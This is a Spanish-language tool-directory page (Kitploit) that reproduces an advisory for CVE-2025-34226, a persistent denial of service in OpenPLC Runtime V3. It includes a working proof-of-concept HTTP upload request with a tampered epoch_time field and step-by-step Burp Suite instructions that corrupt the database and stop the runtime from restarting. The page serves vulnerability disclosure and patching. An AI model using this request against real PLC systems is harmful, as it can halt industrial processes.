Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-34226 — El runtime de OpenPLC sufre una vulnerabilidad persistente de denegación de servicio (DoS) en el endpoint /upload-program-action. | Kitploit
Herramientas/GitHubGitHub/eyodav/cve-2025-34226
Análisis de VulnerabilidadesExplotaciónSeguridad SCADA/ICSExplotación de Aplicaciones WebMala ConfiguraciónSeguridad de Bases de Datos
GitHubeyodav/cve-2025-34226

CVE-2025-34226

El runtime de OpenPLC sufre una vulnerabilidad persistente de denegación de servicio (DoS) en el endpoint /upload-program-action.

Ver Repositorio
hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-34226: DoS persistente en OpenPLC Runtime

Resumen de la vulnerabilidad

CampoValor
ID CVECVE-2025-34226
Afecta aOpenPLC Runtime V3
Corregido en(commit) 095ee09623dd229b64ad3a1db38a901a3772f6fc
GravedadAlta
CVSS 4.0CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:L/VA:H/SC:N/SI:N/SA:N 7.1 (Alta)
CWECWE-664 Control inadecuado de un recurso a lo largo de su ciclo de vida, CWE-20 Validación de entrada incorrecta

Resumen ejecutivo

OpenPLC Runtime sufre una vulnerabilidad de denegación de servicio (DoS) persistente en el endpoint /upload-program-action.
Al modificar el parámetro epoch_time durante la carga de un programa, un usuario autenticado con bajos privilegios puede corromper la base de datos del backend.
Esta corrupción deshabilita inicialmente páginas críticas y, finalmente, impide que el runtime se inicie por completo, dejando la aplicación inutilizada hasta que se reinstale.


Impacto de seguridad

  • DoS persistente – Una vez activado, el sistema no puede recuperarse sin una reinstalación completa.
  • Corrupción de la base de datos – El exploit introduce valores no válidos en la base de datos SQLite de OpenPLC, rompiendo el estado del runtime.
  • Interrupción operativa – En contextos ICS/OT, esto podría causar tiempos de inactividad en los procesos gestionados por el PLC.
  • Omisión de validaciones – El exploit omite la validación de entrada, lo que demuestra la falta de saneamiento de parámetros críticos.

Detalles técnicos

Versiones afectadas

  • Versiones vulnerables: OpenPLC Runtime ≤ v3 (no la última versión)
  • Versión parcheada: corregida mediante el commit 095ee09623dd229b64ad3a1db38a901a3772f6fc

Vector de ataque

El endpoint /upload-program-action acepta un campo epoch_time que se escribe directamente en la base de datos sin validación.
Cuando este campo se establece con un valor manipulado o sin sentido (p. ej., 1758627838 o datos malformados), OpenPLC almacena un estado inconsistente.
Al recargar el runtime o reiniciar el sistema, la aplicación consulta la fila corrupta y se encuentra con un objeto NoneType → fallo fatal (TypeError: 'NoneType' object is not subscriptable).


Prueba de concepto

PoC 1: Solicitud de carga maliciosa (Burp Suite Repeater)

root@kitploit:~
POST /upload-program-action HTTP/1.1
Host: TARGET:8080
Content-Type: multipart/form-data; boundary=----BOUNDARY
Cookie: session=[valid-session-cookie]

------BOUNDARY
Content-Disposition: form-data; name="prog_name"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_descr"

test
------BOUNDARY
Content-Disposition: form-data; name="prog_file"; filename="demo.st"
Content-Type: text/plain

PROGRAM demo
END_PROGRAM
------BOUNDARY
Content-Disposition: form-data; name="epoch_time"

"Just edit here and it will work (e.g "Hello !")"
------BOUNDARY--

Pasos de reproducción

  1. Abre Burp Suite
  2. Abre el navegador de Burp Suite
  3. Ve a la interfaz de OpenPLC
  4. Autentícate con una cuenta de bajos privilegios.
  5. Sube un programa mediante /programs
  6. Elige un nombre aleatorio.
  7. Activa el proxy de Burp Suite
  8. Envía la solicitud a Repeater
  9. Edita la sección de epoch_time y cámbiala por un carácter aleatorio como "L" en lugar del epoch_time original
  10. Envía la nueva solicitud manipulada.
  11. Observa /programs y verás que ya no funciona
  12. Después de eso, a veces cuando OpenPLC se reinicia, el runtime falla al iniciarse y es imposible reiniciar OpenPLC después de esto.

Acciones inmediatas

  1. Actualiza inmediatamente OpenPLC V3

Referencias

  • Parche/Notas de la versión: [Enlace a la última versión oficial]
  • Historial de la vulnerabilidad: [Enlace al historial de la vulnerabilidad]

Créditos

Descubierto por: Eyodav

Descargar herramienta